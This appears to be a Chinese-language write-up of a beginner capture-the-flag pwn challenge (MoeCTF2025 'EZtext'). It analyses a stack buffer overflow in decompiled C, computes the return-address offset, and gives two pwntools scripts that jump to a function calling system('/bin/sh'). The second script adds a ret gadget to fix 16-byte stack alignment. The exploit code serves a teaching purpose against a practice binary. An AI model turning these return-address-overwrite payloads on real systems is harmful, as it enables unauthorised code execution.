题目:MoeCTF2025_EZtext
日期:25-8-30
题干:
【暂无】
程序逻辑:
`int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h]
init();
puts(“Stack overflow is a powerful art!”);
puts(“In this MoeCTF,I will show you the charm of PWN!”);
puts(“You need to understand the structure of the stack first.”);
puts(“Then how many bytes do you need to overflow the stack?”);
__isoc99_scanf(“%d”);
overflow(v4);
return 0;
}`
overflow函数定义:
int __fastcall overflow(int a1)
{
char buf[8]; // [rsp+18h] [rbp-8h] BYREF
if ( a1 <= 7 )
return puts("Come on, you can't even fill up this array?");
read(0, buf, a1);
return puts("OK,I receive your byte.and then?");
}
反汇编代码关键片段:

要点分析:
- v4,即a1,定义read函数读取的字节长度。
- buf可容纳8字节,根据[rbp -8h]可知buf距rbp为8字节(即buf的存储空间),rbp本身占用8字节,随后到达返回地址(8字节)的起始位置。故read需至少能读到24字节数据才能保证payload覆盖返回地址。
- 反汇编片段中lea将command(即“/bin/sh”)的地址放入rax,mov又将rax的内容放入rdi,call执行system,取得shell。故让返回地址指向treasure段即可取得shell。
脚本代码:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = process('./pwn')
io.recvuntil('stack?')
io.sendline('32')
payload = b'A'*16
payload += p64(0x4011B6) #treasure_address
print (payload)
io.send(payload)
io.interactive()
出现问题:无法拿到shell
问题分析:存在rsp16字节对齐问题。在x86-64系统中,在执行call指令来调用一个函数时,rsp的值必须是16字节的倍数。在正常的函数调用流程中,call压入8字节的返回地址,treasure又push rbp,导致rsp的值减小了16字节,与16 取模为0,程序正常执行。而本脚本中跳转到treasure,跳过了call,导致rsp对比16字节边界减小了8字节,程序崩溃。
解决方案:
额外调用一个ret指令,ret会从栈顶弹出一个地址,使rsp的值增加8字节,抵消掉treasure的影响。(调用ret是安全的调整栈对齐手段,无副作用。)
修正脚本:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = process('./pwn')
io.recvuntil('stack?')
io.sendline('32')
# payload = b'A'*16
payload = b'GivemetheFKshell'
payload += p64(0x40101a) #ret_address
payload += p64(0x4011B6) #treasure_address
print (payload)
io.send(payload)
io.interactive()
谁懂按下最后一个回车的救赎感
1522

被折叠的 条评论
为什么被折叠?



